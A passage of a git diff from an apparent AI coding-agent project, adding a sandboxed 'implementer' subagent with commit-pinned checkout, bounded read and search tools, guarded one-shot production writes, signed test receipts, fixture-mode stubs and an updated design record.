patterns }, ctx) { + if (resolveImplementerFixtureMode().enabled) { + return { + commitSha: "a".repeat(40), + fixtureMode: true, + paths: ["AGENTS.md", "src/AGENTS.md", "src/example.ts"], + truncated: false, + }; + } + return listRepositoryFiles(await ctx.getSandbox(), patterns); + }, +}); diff --git a/agent/subagents/implementer/tools/load_skill.ts b/agent/subagents/implementer/tools/load_skill.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/load_skill.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/read_file.ts b/agent/subagents/implementer/tools/read_file.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/read_file.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/read_implementation_context.ts b/agent/subagents/implementer/tools/read_implementation_context.ts new file mode 100644 index 0000000..9bdda01 --- /dev/null +++ b/agent/subagents/implementer/tools/read_implementation_context.ts @@ -0,0 +1,78 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { computeImplementationDigest } from "../../../implementation-agent"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { loadImplementationHandoff } from "../lib/context"; +import { assertWellFormedRepositoryFullName } from "../lib/tool-policy"; + +export default defineTool({ + description: "Load and verify the approved plan, exact test patch, red evidence, and fixtures.", + inputSchema: z.object({ runId: z.string().uuid() }), + async execute({ runId }, ctx) { + const handoff = await loadImplementationHandoff(runId); + const revision = handoff.plan.repositoryRevision; + if (!revision) throw new Error("Implementation requires a pinned repository revision."); + const binding = { + planId: handoff.plan.identity.id, + planSha256: handoff.plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(handoff.testPlan), + testPatchSha256: handoff.testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(handoff.testPlan.fixtures), + repositoryFullName: handoff.plan.issue.repositoryFullName, + commitSha: revision.commitSha, + }; + const sandbox = await ctx.getSandbox(); + if (!resolveImplementerFixtureMode().enabled) { + assertWellFormedRepositoryFullName(handoff.plan.issue.repositoryFullName); + const repoUrl = `https://github.com/${handoff.plan.issue.repositoryFullName}.git`; + const span = startLoopworksSpan("loopworks.implementation.checkout", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + try { + await sandbox.setNetworkPolicy({ + allow: ["github.com", "objects.githubusercontent.com", "registry.npmjs.org"], + }); + const result = await sandbox.run({ + command: [ + `git clone --filter=blob:none ${JSON.stringify(repoUrl)} repo`, + "cd repo", + `git checkout --detach ${revision.commitSha}`, + "command -v bun", + "bun install --frozen-lockfile --ignore-scripts", + 'test -z "$(git status --porcelain)"', + ].join(" && "), + abortSignal: AbortSignal.timeout(120_000), + }); + if (result.exitCode !== 0) throw new Error("Commit-pinned checkout failed."); + span.setStatus({ code: SpanStatusCode.OK }); + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + await sandbox.setNetworkPolicy("deny-all"); + span.end(); + } + } + await sandbox.run({ command: "mkdir -p .loopworks" }); + await sandbox.writeTextFile({ + path: ".loopworks/repository-commit", + content: revision.commitSha, + }); + await sandbox.writeTextFile({ + path: ".loopworks/implementation-context.json", + content: JSON.stringify({ binding, runId }), + }); + return { + acceptanceCriteria: handoff.testPlan.acceptanceCriteria, + binding, + fixtures: handoff.testPlan.fixtures, + runId, + tests: handoff.testPlan.tests, + }; + }, +}); diff --git a/agent/subagents/implementer/tools/read_repository_files.ts b/agent/subagents/implementer/tools/read_repository_files.ts new file mode 100644 index 0000000..0556739 --- /dev/null +++ b/agent/subagents/implementer/tools/read_repository_files.ts @@ -0,0 +1,43 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; +import { + readRepositoryFiles, + repositoryReadOutputSchema, +} from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; + +const request = z.union([ + z.string().min(1), + z.object({ + path: z.string().min(1), + startLine: z.number().int().positive().default(1), + endLine: z.number().int().positive().optional(), + }), +]); + +export default defineTool({ + description: "Read bounded line ranges from regular files at the approved pinned Git commit.", + inputSchema: z.object({ files: z.array(request).min(1).max(20) }), + outputSchema: repositoryReadOutputSchema, + async execute({ files }, ctx) { + const normalized = files.map((entry) => + typeof entry === "string" ? { path: entry, startLine: 1 } : entry, + ); + if (resolveImplementerFixtureMode().enabled) { + return { + commitSha: "a".repeat(40), + fixtureMode: true, + files: normalized.map((entry) => ({ + path: entry.path, + startLine: entry.startLine, + requestedEndLine: entry.endLine ?? entry.startLine + 399, + returnedEndLine: entry.startLine, + content: "export const implementationReady = false;", + truncated: false, + })), + truncated: false, + }; + } + return readRepositoryFiles(await ctx.getSandbox(), normalized); + }, +}); diff --git a/agent/subagents/implementer/tools/run_aggregate_validation.ts b/agent/subagents/implementer/tools/run_aggregate_validation.ts new file mode 100644 index 0000000..18491f4 --- /dev/null +++ b/agent/subagents/implementer/tools/run_aggregate_validation.ts @@ -0,0 +1,100 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { loadImplementationHandoff } from "../lib/context"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { + createImplementationExecutionReceipt, + redactImplementationOutput, + sha256, +} from "../lib/tool-policy"; + +const digest = z.string().regex(/^[a-f0-9]{64}$/); + +export default defineTool({ + description: "Run exact aggregate validation and return a signed, redacted passing receipt.", + inputSchema: z.object({ + runId: z.string().uuid(), + command: z.literal("bun run validate"), + planSha256: digest, + testPlanSha256: digest, + testPatchSha256: digest, + productionPatchSha256: digest, + }), + async execute(input, ctx) { + const handoff = await loadImplementationHandoff(input.runId); + if ( + input.planSha256 !== handoff.plan.identity.sha256 || + input.testPlanSha256 !== computeTestPlanDigest(handoff.testPlan) || + input.testPatchSha256 !== handoff.testPlan.patch.sha256 + ) { + throw new Error("Aggregate validation digests do not match the durable handoff."); + } + const sandbox = await ctx.getSandbox(); + const marker = await sandbox.readTextFile({ path: ".loopworks/production-patch.json" }); + const markerSha = marker ? (JSON.parse(marker) as { sha256?: string }).sha256 : undefined; + if (markerSha !== input.productionPatchSha256) { + throw new Error("Aggregate validation is not bound to the current production patch."); + } + const span = startLoopworksSpan("loopworks.implementation.validation", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + const startedAt = Date.now(); + try { + const result = resolveImplementerFixtureMode().enabled + ? { exitCode: 0, stdout: "validate passed", stderr: "" } + : await sandbox.run({ + command: "cd repo && bun run validate", + abortSignal: AbortSignal.timeout(900_000), + }); + const redacted = redactImplementationOutput(`${result.stdout}\n${result.stderr}`); + // The exit code is authoritative; phrase scans misfire on passing output + // that merely mentions failure (e.g. a test titled "renders build failed"). + if (result.exitCode !== 0) { + throw new Error("Aggregate implementation validation failed."); + } + const outputSha256 = sha256(redacted); + const uri = `.loopworks/green-evidence/${outputSha256}.log`; + await sandbox.run({ command: "mkdir -p .loopworks/green-evidence" }); + await sandbox.writeTextFile({ path: uri, content: redacted }); + const executionReceipt = createImplementationExecutionReceipt( + { + kind: "aggregate", + command: input.command, + exitCode: result.exitCode, + outcome: "pass", + outputSha256, + planSha256: input.planSha256, + testPlanSha256: input.testPlanSha256, + testPatchSha256: input.testPatchSha256, + productionPatchSha256: input.productionPatchSha256, + testPaths: [], + }, + process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET ?? "", + ); + span.setStatus({ code: SpanStatusCode.OK }); + return { + command: input.command, + durationMs: Math.max(0, Date.now() - startedAt), + executionReceipt, + exitCode: 0 as const, + outcome: "pass" as const, + outputReference: { + uri: `artifact://sandbox/${sandbox.id}/${uri}`, + sha256: outputSha256, + byteCount: Buffer.byteLength(redacted), + redacted: true as const, + }, + }; + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); + } + }, +}); diff --git a/agent/subagents/implementer/tools/run_green_test_suite.ts b/agent/subagents/implementer/tools/run_green_test_suite.ts new file mode 100644 index 0000000..249cfa0 --- /dev/null +++ b/agent/subagents/implementer/tools/run_green_test_suite.ts @@ -0,0 +1,106 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { loadImplementationHandoff } from "../lib/context"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { + assertExactFocusedCommand, + classifyGreenRun, + createImplementationExecutionReceipt, + redactImplementationOutput, + sha256, +} from "../lib/tool-policy"; + +const digest = z.string().regex(/^[a-f0-9]{64}$/); + +export default defineTool({ + description: "Run one exact planned test and return signed, redacted green evidence.", + inputSchema: z.object({ + runId: z.string().uuid(), + testId: z.string().min(1), + command: z.string().min(1), + planSha256: digest, + testPlanSha256: digest, + testPatchSha256: digest, + productionPatchSha256: digest, + }), + async execute(input, ctx) { + const handoff = await loadImplementationHandoff(input.runId); + const plannedTest = handoff.testPlan.tests.find(({ id }) => id === input.testId); + if (!plannedTest) throw new Error("Focused test is not present in the durable test plan."); + if ( + input.planSha256 !== handoff.plan.identity.sha256 || + input.testPlanSha256 !== computeTestPlanDigest(handoff.testPlan) || + input.testPatchSha256 !== handoff.testPlan.patch.sha256 + ) { + throw new Error("Focused test digests do not match the durable handoff."); + } + assertExactFocusedCommand(input.command, plannedTest.command, plannedTest.path); + const sandbox = await ctx.getSandbox(); + const marker = await sandbox.readTextFile({ path: ".loopworks/production-patch.json" }); + const markerSha = marker ? (JSON.parse(marker) as { sha256?: string }).sha256 : undefined; + if (markerSha !== input.productionPatchSha256) { + throw new Error("Focused test is not bound to the current production patch."); + } + const span = startLoopworksSpan("loopworks.implementation.test.green", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + const startedAt = Date.now(); + try { + const result = resolveImplementerFixtureMode().enabled + ? { exitCode: 0, stdout: `PASS ${plannedTest.path}`, stderr: "" } + : await sandbox.run({ + command: `cd repo && ${input.command}`, + abortSignal: AbortSignal.timeout(120_000), + }); + const redacted = redactImplementationOutput(`${result.stdout}\n${result.stderr}`); + const outcome = classifyGreenRun({ + exitCode: result.exitCode, + output: redacted, + testPath: plannedTest.path, + }); + if (outcome !== "pass") throw new Error("Focused implementation test did not pass safely."); + const outputSha256 = sha256(redacted); + const uri = `.loopworks/green-evidence/${outputSha256}.log`; + await sandbox.run({ command: "mkdir -p .loopworks/green-evidence" }); + await sandbox.writeTextFile({ path: uri, content: redacted }); + const executionReceipt = createImplementationExecutionReceipt( + { + kind: "focused", + command: input.command, + exitCode: result.exitCode, + outcome, + outputSha256, + planSha256: input.planSha256, + testPlanSha256: input.testPlanSha256, + testPatchSha256: input.testPatchSha256, + productionPatchSha256: input.productionPatchSha256, + testPaths: [plannedTest.path], + }, + process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET ?? "", + ); + span.setStatus({ code: SpanStatusCode.OK }); + return { + durationMs: Math.max(0, Date.now() - startedAt), + executionReceipt, + exitCode: 0 as const, + outcome: "pass" as const, + outputReference: { + uri: `artifact://sandbox/${sandbox.id}/${uri}`, + sha256: outputSha256, + byteCount: Buffer.byteLength(redacted), + redacted: true as const, + }, + }; + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); + } + }, +}); diff --git a/agent/subagents/implementer/tools/search_repository.ts b/agent/subagents/implementer/tools/search_repository.ts new file mode 100644 index 0000000..071c6f5 --- /dev/null +++ b/agent/subagents/implementer/tools/search_repository.ts @@ -0,0 +1,28 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; +import { + repositorySearchOutputSchema, + searchRepository, +} from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; + +export default defineTool({ + description: "Search regular files from the approved pinned Git commit with bounded output.", + inputSchema: z.object({ + pattern: z.string().min(1).max(256), + paths: z.array(z.string()).min(1).max(5), + }), + outputSchema: repositorySearchOutputSchema, + async execute(input, ctx) { + if (resolveImplementerFixtureMode().enabled) { + return { + commitSha: "a".repeat(40), + fixtureMode: true, + content: "src/example.ts:1:export const implementationReady = false;", + matchCount: 1, + truncated: false, + }; + } + return searchRepository(await ctx.getSandbox(), input); + }, +}); diff --git a/agent/subagents/implementer/tools/todo.ts b/agent/subagents/implementer/tools/todo.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/todo.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/web_fetch.ts b/agent/subagents/implementer/tools/web_fetch.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/web_fetch.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/web_search.ts b/agent/subagents/implementer/tools/web_search.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/web_search.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/write_file.ts b/agent/subagents/implementer/tools/write_file.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/write_file.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/write_production_files.ts b/agent/subagents/implementer/tools/write_production_files.ts new file mode 100644 index 0000000..2859bcf --- /dev/null +++ b/agent/subagents/implementer/tools/write_production_files.ts @@ -0,0 +1,159 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { maxImplementationPatchBytes } from "../../../implementation-agent"; +import { buildGitTreeEntryCommand } from "../../../lib/repository-inspection"; +import { readPinnedRepositoryCommit } from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { + assertAllowedProductionFiles, + assertProductionWriteNotClaimed, + parseWorkingTreePaths, + sandboxWorkingTreeStatusCommand, + sha256, +} from "../lib/tool-policy"; + +const inputSchema = z.object({ + files: z.array(z.object({ path: z.string().min(1), content: z.string().max(512 * 1024) })).min(1), + testPatchSha256: z.string().regex(/^[a-f0-9]{64}$/), +}); + +function symlinkGuard(path: string): string { + const segments = path.split("/").slice(0, -1); + return segments + .map( + (_, index) => `test ! -L ${JSON.stringify(`repo/${segments.slice(0, index + 1).join("/")}`)}`, + ) + .join(" && "); +} + +export default defineTool({ + description: + "Write complete production files and return the exact bounded production-only patch.", + inputSchema, + async execute(input, ctx) { + assertAllowedProductionFiles(input.files); + const span = startLoopworksSpan("loopworks.implementation.production_write", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + try { + const sandbox = await ctx.getSandbox(); + const existingClaim = await sandbox.readTextFile({ + path: ".loopworks/production-write-claimed", + }); + assertProductionWriteNotClaimed(existingClaim); + const appliedMarker = await sandbox.readTextFile({ path: ".loopworks/test-patch-applied" }); + const applied = appliedMarker + ? (JSON.parse(appliedMarker) as { paths?: string[]; sha256?: string }) + : {}; + if (applied.sha256 !== input.testPatchSha256 || !applied.paths) { + throw new Error("Exact test patch must be applied before production writes."); + } + const fixtureMode = resolveImplementerFixtureMode().enabled; + const pinned = fixtureMode ? "a".repeat(40) : await readPinnedRepositoryCommit(sandbox); + const tracked = new Map(); + if (!fixtureMode) { + const changed = await sandbox.run({ command: sandboxWorkingTreeStatusCommand }); + const actualPaths = parseWorkingTreePaths(changed.stdout); + if (JSON.stringify(actualPaths) !== JSON.stringify([...applied.paths].sort())) { + throw new Error("Working tree contains changes outside the exact test patch."); + } + for (const file of input.files) { + const tree = await sandbox.run({ command: buildGitTreeEntryCommand(pinned, file.path) }); + tracked.set(file.path, tree.exitCode === 0 && tree.stdout.trim().length > 0); + } + } + await sandbox.writeTextFile({ + path: ".loopworks/production-write-claimed", + content: input.testPatchSha256, + }); + try { + for (const file of input.files) { + if (!fixtureMode) { + const guard = symlinkGuard(file.path) || "true"; + const directory = `repo/${file.path}`.slice(0, `repo/${file.path}`.lastIndexOf("/")); + const prepared = await sandbox.run({ + command: `${guard} && mkdir -p ${JSON.stringify(directory)} && ${guard}`, + }); + if (prepared.exitCode !== 0) throw new Error(`Unsafe symlink for ${file.path}.`); + await sandbox.writeTextFile({ path: `repo/${file.path}`, content: file.content }); + } + } + const diffs = fixtureMode + ? input.files.map((file) => { + const lines = file.content.split("\n"); + return [ + `diff --git a/${file.path} b/${file.path}`, + "new file mode 100644", + "--- /dev/null", + `+++ b/${file.path}`, + `@@ -0,0 +1,${lines.length} @@`, + ...lines.map((line) => `+${line}`), + ].join("\n"); + }) + : await Promise.all( + input.files.map(async ({ path }) => { + const command = tracked.get(path) + ? `cd repo && git diff --no-ext-diff --no-color ${pinned} -- ${JSON.stringify(path)}` + : `cd repo && git diff --no-index --no-color -- /dev/null ${JSON.stringify(path)}`; + const result = await sandbox.run({ + command, + abortSignal: AbortSignal.timeout(10_000), + }); + if (tracked.get(path) ? result.exitCode !== 0 : ![0, 1].includes(result.exitCode)) { + throw new Error("Production patch could not be generated safely."); + } + return result.stdout; + }), + ); + const content = diffs.join("\n"); + const byteCount = Buffer.byteLength(content); + if (!content.trim() || byteCount > maxImplementationPatchBytes) { + throw new Error("Production patch is empty or exceeds 512 KiB."); + } + const patch = { + format: "unified-diff" as const, + content, + sha256: sha256(content), + byteCount, + paths: input.files.map(({ path }) => path), + }; + await sandbox.writeTextFile({ + path: ".loopworks/production-patch.json", + content: JSON.stringify({ sha256: patch.sha256, paths: patch.paths }), + }); + span.setStatus({ code: SpanStatusCode.OK }); + return { patch }; + } catch (error) { + // Best-effort revert so a transient failure (timeout, guard, size cap) + // releases the one-shot claim instead of bricking the session. + const reverts = fixtureMode + ? [] + : input.files.map((file) => + tracked.get(file.path) + ? `cd repo && git checkout ${pinned} -- ${JSON.stringify(file.path)}` + : `rm -f ${JSON.stringify(`repo/${file.path}`)}`, + ); + for (const command of [ + ...reverts, + "rm -f .loopworks/production-write-claimed .loopworks/production-patch.json", + ]) { + try { + await sandbox.run({ command }); + } catch { + // Cleanup is best-effort; the original error is rethrown below. + } + } + throw error; + } + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); + } + }, +}); diff --git a/agent/subagents/test-writer/lib/fixture-mode.ts b/agent/subagents/test-writer/lib/fixture-mode.ts index 7aa6618..76d4ac3 100644 --- a/agent/subagents/test-writer/lib/fixture-mode.ts +++ b/agent/subagents/test-writer/lib/fixture-mode.ts @@ -1,20 +1,9 @@ -import { isProductionRuntime, isTruthyEnvValue } from "@/lib/runtime"; +import { resolveStageFixtureMode, type StageFixtureMode } from "../../../lib/fixture-mode"; -export type TestWriterFixtureMode = - | { enabled: true; reason: "explicit_non_production_fixture" } - | { - enabled: false; - reason: "not_requested" | "production_runtime_blocked"; - }; +export type TestWriterFixtureMode = StageFixtureMode; export function resolveTestWriterFixtureMode( env: Partial = process.env, ): TestWriterFixtureMode { - if (!isTruthyEnvValue(env.LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE)) { - return { enabled: false, reason: "not_requested" }; - } - if (isProductionRuntime(env)) { - return { enabled: false, reason: "production_runtime_blocked" }; - } - return { enabled: true, reason: "explicit_non_production_fixture" }; + return resolveStageFixtureMode("LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE", env); } diff --git a/agent/subagents/test-writer/lib/tool-policy.ts b/agent/subagents/test-writer/lib/tool-policy.ts index b29d792..4cfd212 100644 --- a/agent/subagents/test-writer/lib/tool-policy.ts +++ b/agent/subagents/test-writer/lib/tool-policy.ts @@ -1,6 +1,7 @@ -import { createHash, createHmac, timingSafeEqual } from "node:crypto"; +import { createHash } from "node:crypto"; -import { canonicalJsonStringify } from "../../../lib/canonical-json"; +import { createExecutionReceipt, verifyExecutionReceipt } from "../../../lib/receipts"; +import { redactSecrets } from "../../../lib/redaction"; import { isAllowedFocusedTestCommand, isAllowedTestArtifactPath, @@ -52,17 +53,7 @@ export function assertCommandMatchesPlannedTests( } export function redactTestOutput(value: string): string { - return value - .replace(/(authorization:\s*bearer\s+)\S+/gi, "$1[REDACTED]") - .replace(/\b(?:gh[pousr]_|sk-)[A-Za-z0-9_-]+\b/g, "[REDACTED]") - .replace(/\bgithub_pat_[A-Za-z0-9_]+\b/g, "[REDACTED]") - .replace(/\bAKIA[0-9A-Z]{16}\b/g, "[REDACTED]") - .replace(/\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b/g, "[REDACTED]") - .replace( - /((?:password|secret|token|api[_-]?key|cookie|set-cookie)\s*[=:]\s*)\S+/gi, - "$1[REDACTED]", - ) - .replace(/([a-z][a-z0-9+.-]*:\/\/[^\s:/]+:)[^@\s]+@/gi, "$1[REDACTED]@"); + return redactSecrets(value); } export function classifyTestRun(input: { @@ -89,7 +80,7 @@ export function createTestExecutionReceipt( secret: string, ): string { if (!secret.trim()) throw new Error("Test execution receipt secret is required."); - return createHmac("sha256", secret).update(canonicalJsonStringify(payload)).digest("hex"); + return createExecutionReceipt(payload, secret); } export function verifyTestExecutionReceipt( @@ -97,9 +88,7 @@ export function verifyTestExecutionReceipt( receipt: string, secret: string, ): boolean { - const expected = Buffer.from(createTestExecutionReceipt(payload, secret), "hex"); - const actual = Buffer.from(receipt, "hex"); - return actual.length === expected.length && timingSafeEqual(actual, expected); + return verifyExecutionReceipt(payload, receipt, secret); } export function sha256(value: string): string { diff --git a/agent/tools/apply_implementation_result.ts b/agent/tools/apply_implementation_result.ts new file mode 100644 index 0000000..957ced5 --- /dev/null +++ b/agent/tools/apply_implementation_result.ts @@ -0,0 +1,92 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { db } from "@/db/client"; +import { applyDevelopmentLoopImplementationResult } from "@/lib/loops/development-run-transitions"; +import { logger } from "@/lib/observability/logger"; +import { computeImplementationDigest, implementationResultSchema } from "../implementation-agent"; +import { createImplementationFixtureHandoff } from "../implementation-fixture"; +import { computeTestPlanDigest } from "../test-writing-agent"; +import { resolveImplementerFixtureMode } from "../subagents/implementer/lib/fixture-mode"; +import { verifyImplementationExecutionReceipt } from "../subagents/implementer/lib/tool-policy"; + +export default defineTool({ + description: "Persist a verified implementation patch and advance the durable run to validation.", + inputSchema: z.object({ runId: z.string().uuid(), output: implementationResultSchema }), + execute: ({ output, runId }) => { + const parsed = implementationResultSchema.parse(output); + if (resolveImplementerFixtureMode().enabled) { + const handoff = createImplementationFixtureHandoff(); + const expectedBinding = { + planId: handoff.plan.identity.id, + planSha256: handoff.plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(handoff.testPlan), + testPatchSha256: handoff.testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(handoff.testPlan.fixtures), + repositoryFullName: handoff.plan.issue.repositoryFullName, + commitSha: handoff.plan.repositoryRevision?.commitSha, + }; + if (JSON.stringify(parsed.binding) !== JSON.stringify(expectedBinding)) { + throw new Error("Fixture implementation result is not bound to the exact handoff."); + } + const secret = process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET; + if (!secret) throw new Error("Implementation execution receipt secret is not configured."); + for (const evidence of parsed.greenEvidence) { + if ( + !verifyImplementationExecutionReceipt( + { + kind: "focused", + command: evidence.command, + exitCode: evidence.exitCode, + outcome: evidence.outcome, + outputSha256: evidence.outputReference.sha256, + planSha256: parsed.binding.planSha256, + testPlanSha256: parsed.binding.testPlanSha256, + testPatchSha256: parsed.binding.testPatchSha256, + productionPatchSha256: parsed.patch.sha256, + testPaths: [evidence.testPath], + }, + evidence.executionReceipt, + secret, + ) + ) { + throw new Error(`Invalid implementation receipt for ${evidence.testId}.`); + } + } + const validation = parsed.validationEvidence; + if ( + !verifyImplementationExecutionReceipt( + { + kind: "aggregate", + command: validation.command, + exitCode: validation.exitCode, + outcome: validation.outcome, + outputSha256: validation.outputReference.sha256, + planSha256: parsed.binding.planSha256, + testPlanSha256: parsed.binding.testPlanSha256, + testPatchSha256: parsed.binding.testPatchSha256, + productionPatchSha256: parsed.patch.sha256, + testPaths: [], + }, + validation.executionReceipt, + secret, + ) + ) { + throw new Error("Invalid aggregate implementation receipt."); + } + return { + persistedArtifactTypes: ["patch"], + runId, + stage: "development" as const, + status: "advanced" as const, + stepId: "00000000-0000-4000-8000-000000000348", + }; + } + return applyDevelopmentLoopImplementationResult({ + database: db, + logger, + output: parsed, + runId, + }); + }, +}); diff --git a/agent/tools/read_run_stage_context.ts b/agent/tools/read_run_stage_context.ts index db65cf3..cb99b28 100644 --- a/agent/tools/read_run_stage_context.ts +++ b/agent/tools/read_run_stage_context.ts @@ -4,13 +4,64 @@ import { z } from "zod"; import { db } from "@/db/client"; import { agentPlans, approvals, artifacts, loopRuns, runSteps } from "@/db/schema"; +import { createImplementationFixtureHandoff } from "../implementation-fixture"; import { createPlanningAgentSeedPlan } from "../planning-agent"; +import { computeTestPlanDigest } from "../test-writing-agent"; +import { resolveImplementerFixtureMode } from "../subagents/implementer/lib/fixture-mode"; import { resolveTestWriterFixtureMode } from "../subagents/test-writer/lib/fixture-mode"; export default defineTool({ description: "Read durable run, plan, approval, step, and artifact context for stage routing.", inputSchema: z.object({ runId: z.string().uuid() }), async execute({ runId }) { + if (resolveImplementerFixtureMode().enabled) { + const { plan, redEvidence, testPlan } = createImplementationFixtureHandoff(); + const planId = "00000000-0000-4000-8000-000000000148"; + return { + approvals: [ + { + id: "00000000-0000-4000-8000-000000000248", + metadata: { planId, planSha256: plan.identity.sha256 }, + status: "approved", + }, + ], + artifacts: [ + { + id: "00000000-0000-4000-8000-000000000448", + metadata: { testPlan, testPlanMetadataKind: "test_plan_result" }, + sha256: computeTestPlanDigest(testPlan), + stepId: "00000000-0000-4000-8000-000000000347", + type: "test_plan", + uri: "artifact://fixture/test-plan", + }, + { + id: "00000000-0000-4000-8000-000000000548", + metadata: { + redTestEvidence: redEvidence, + redTestEvidenceMetadataKind: "red_test_evidence_result", + }, + sha256: computeTestPlanDigest(redEvidence), + stepId: "00000000-0000-4000-8000-000000000347", + type: "validation_report", + uri: "artifact://fixture/red-evidence", + }, + ], + plans: [{ id: planId, plan, status: "approved" }], + run: { currentStage: "development", id: runId, status: "running" }, + steps: [ + { + id: "00000000-0000-4000-8000-000000000347", + stage: "test-writing", + status: "succeeded", + }, + { + id: "00000000-0000-4000-8000-000000000348", + stage: "development", + status: "running", + }, + ], + }; + } if (resolveTestWriterFixtureMode().enabled) { const planId = "00000000-0000-4000-8000-000000000147"; const plan = createPlanningAgentSeedPlan({ diff --git a/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md b/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md index e6d6110..11fced6 100644 --- a/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md +++ b/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md @@ -28,8 +28,9 @@ uses `openai/gpt-5.6-terra`. Each retains independent `xhigh` reasoning configuration so model routing can evolve per stage without changing the shared topology. -Planner and test-writer receive repository-scoped discovery, text search, and -line-range read tools against their isolated commit-pinned checkouts. The tools +Planner, test-writer, and implementer receive repository-scoped discovery, text +search, and line-range read tools against their isolated commit-pinned +checkouts. The tools exclude secret, generated, dependency, and traversal paths; bound queries and outputs; reject symlink escape; and return commit/path/line provenance. The framework's permissive filesystem tools remain disabled. Planner web access is @@ -51,6 +52,17 @@ or mismatched approvals fail closed. Expected assertion failures complete the test-writing stage successfully; environment, setup, timeout, crash, unrelated, or passing results do not advance the run. +The implementation sibling uses `openai/gpt-5.6-terra` with independent +`xhigh` reasoning configuration. It consumes the exact persisted test plan, +test-only patch, red evidence, and fixture records without re-derivation. Its +guarded tools apply that patch once, permit one bounded production-only write, +run every exact planned test plus `bun run validate`, and emit +`loopworks.implementation_result.v1`. Signed green receipts bind the plan, +test-plan, test-patch, production-patch, command, paths, and redacted output +digests. The root revalidates the approval and complete handoff before storing +the result in the existing development `patch` artifact and advancing to the +separate validation stage. + ## Consequences Each stage can tune its model and capabilities independently without granting @@ -63,19 +75,21 @@ deterministic control-plane behavior rather than model judgment. ## Validation -1. Eve discovery reports the root plus declared `planner` and `test-writer` - subagents without diagnostics. +1. Eve discovery reports the root plus declared `planner`, `test-writer`, and + `implementer` subagents without diagnostics. 2. Unit tests cover tool allowlists, fixture fail-closed behavior, patch safety, AC coverage, red-evidence classification, and sanitized telemetry. 3. PGlite tests prove exact plan approval, two-artifact persistence, idempotency, and advancement only for complete expected-red evidence. -4. Eve eval discovery includes planner and test-writing routing scenarios. +4. Eve eval discovery includes planner, test-writing, and implementation + routing scenarios. 5. `bun run validate` and `bun run build` pass before review. ## Follow-Ups -1. Issue #48 consumes the persisted test-only patch and produces the smallest - green implementation patch in a separate sandbox. +1. **Done by issue #48.** The implementer consumes the persisted test-only + patch and produces the smallest green implementation patch in a separate + sandbox. 2. Issues 